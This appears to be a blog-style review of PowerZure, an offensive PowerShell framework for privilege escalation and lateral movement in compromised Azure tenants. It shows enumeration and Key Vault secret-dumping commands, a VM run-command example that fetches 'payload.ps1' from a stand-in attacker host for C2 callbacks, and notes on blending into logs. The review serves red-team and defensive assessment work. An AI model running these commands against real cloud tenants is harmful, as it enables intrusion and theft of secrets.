PowerZure: Post-Compromise Privilege Escalation in Azure Environments
Hook
Most Azure security guides focus on preventing initial access, but the real prize lies in what attackers can do once they’re inside with even a low-privilege account.
Context
Traditional on-premises penetration testing has mature frameworks like Metasploit, Empire, and BloodHound for Active Directory. But when organizations moved to Azure and EntraID (formerly Azure AD), offensive security practitioners found themselves crafting one-off PowerShell scripts against Azure REST APIs, manually piecing together reconnaissance from Az module cmdlets, and struggling to visualize privilege escalation paths in cloud environments.
PowerZure emerged to fill this gap as a purpose-built offensive framework for post-compromise Azure operations. Unlike defensive tools like Microsoft Defender for Cloud that help organizations harden their posture, PowerZure assumes you’ve already obtained valid credentials—perhaps through phishing, password spraying, or compromising a service principal. From that foothold, it provides structured workflows for understanding what you can access, what permissions you have, and how to escalate privileges or move laterally across subscriptions and resource groups. It’s essentially BloodHound’s philosophy applied to Azure: make attack paths visible and actionable.
Technical Insight
PowerZure’s architecture is deceptively simple but strategically designed. Rather than reimplementing Azure API calls from scratch, it builds on Microsoft’s official Az PowerShell module, inheriting its authentication mechanisms and API coverage. This means PowerZure works with any authentication context the Az module supports—service principals, managed identities, user credentials, or even device code flows.
The framework organizes its capabilities into logical modules: operational (authentication and context management), reconnaissance (enumeration functions), and exploitation (privilege escalation and resource manipulation). Here’s how you’d typically start a post-compromise assessment:
# Import the framework
Import-Module PowerZure
# Establish context using compromised credentials
Connect-AzAccount -Credential $creds
# Understand your current position
Get-AzureCurrentUser
# Returns: UserPrincipalName, ObjectId, Current Role Assignments
# Enumerate what you can see
Get-AzureTarget -All
# Returns: All subscriptions, resource groups, and resources visible to current context
# Check for high-value targets
Get-AzureRunAsAccounts
# Returns: Automation accounts with RunAs certificates (often over-privileged)
# Look for lateral movement opportunities
Get-AzureKeyVaultContent -Subscription "Production-Sub"
# Returns: Secrets, keys, certificates stored in accessible vaultsWhat makes this architecture effective is context awareness. PowerZure constantly operates within your authenticated Az context, meaning it respects Azure RBAC boundaries—but also helps you identify where those boundaries are weak. The Get-AzureTarget function, for example, doesn’t just list resources; it correlates them with your permissions, highlighting where you have Contributor or Owner roles that could be exploited.
The exploitation functions demonstrate sophisticated understanding of Azure’s security model. Consider the Execute-Command function, which runs commands on virtual machines. Rather than just wrapping Invoke-AzVMRunCommand, PowerZure handles subscription context switching, validates your permissions first, and provides options for executing scripts from remote URLs—critical for C2 callbacks:
# Execute remote script on accessible VM
Execute-Command -OS Windows `
-VM "web-server-01" `
-ResourceGroup "prod-rg" `
-Script "https://attacker.com/payload.ps1"Under the hood, this function checks whether you have Microsoft.Compute/virtualMachines/runCommand/action permission, switches to the appropriate subscription context if needed, and handles error conditions where the VM extension isn’t installed. This abstraction is what separates PowerZure from manual Az cmdlet usage—it encapsulates the operational knowledge of how to actually exploit these permissions.
Another architectural highlight is BloodHound integration. PowerZure can export enumerated data in formats compatible with AzureHound’s graph database, allowing you to visualize privilege escalation paths. This is particularly valuable in complex environments where indirect privilege escalation isn’t obvious—perhaps your user can’t create resources, but you can modify an existing Automation Account that runs with Contributor rights on another subscription.
The framework also includes evasion considerations. Functions like Get-AzureRunbookContent and Get-AzureAppConfiguration retrieve data through standard Az module calls, which appear legitimate in logs. There’s no custom HTTP traffic that would trigger anomaly detection, making PowerZure’s reconnaissance blend into normal administrative activity. This design choice—staying within official tooling rather than implementing custom API clients—is both a strength (authenticity) and limitation (bound by Az module capabilities).
Gotcha
PowerZure’s most significant limitation is its prerequisite: you must already have authenticated Azure access. This isn’t a framework for initial compromise; there are no password spraying, phishing, or vulnerability exploitation capabilities. If you’re starting an engagement without credentials, you’ll need different tools like MSOLSpray or ROADrecon’s authentication features first.
Compatibility can be frustrating. PowerZure was built during the transition from AzureRM to Az PowerShell modules, and some functions expect specific module versions. In practice, this means you might encounter errors if you’re running the latest Az module with breaking changes, or if you’re using PowerShell Core on Linux where certain Windows-specific assumptions fail. The documentation explicitly warns about subscription context issues—if you have access to multiple subscriptions and don’t explicitly set your context with Set-AzContext, enumeration functions may return incomplete results or fail silently. Multi-subscription environments require careful context management that isn’t always intuitive.
Another gotcha is detection. While PowerZure’s activities look like legitimate Az module usage, many of its enumeration patterns are extremely suspicious in aggregate. Running Get-AzureKeyVaultContent across all accessible vaults, followed by Get-AzureRunAsAccounts and Get-AzureUsers, creates a reconnaissance signature that mature SOCs monitor for. Azure Activity Logs will show these API calls, and if your organization has Microsoft Sentinel or similar SIEM tooling with Azure behavioral analytics, aggressive PowerZure usage will likely trigger alerts. The framework doesn’t include any built-in throttling or randomization to evade detection.
Verdict
Use PowerZure if you’re conducting red team operations or penetration tests where you’ve already obtained Azure credentials and need to quickly understand privilege escalation paths and exploitation opportunities. It’s particularly valuable in time-constrained engagements where manually researching Az cmdlet syntax would slow you down, or when you need BloodHound-style visualization of Azure attack paths. Security teams should also use it defensively—run it with your own accounts to discover what attackers could access from various privilege levels. Skip it if you need initial access capabilities, are working in environments where you can’t install PowerShell modules, require cross-platform compatibility guarantees, or are performing purely compliance-focused assessments where native Microsoft tooling like Secure Score provides better governance alignment. Also skip it if you’re looking for automated exploitation—PowerZure requires manual decision-making and understanding of Azure architecture; it’s a framework that amplifies skilled operators, not a point-and-click exploit tool.
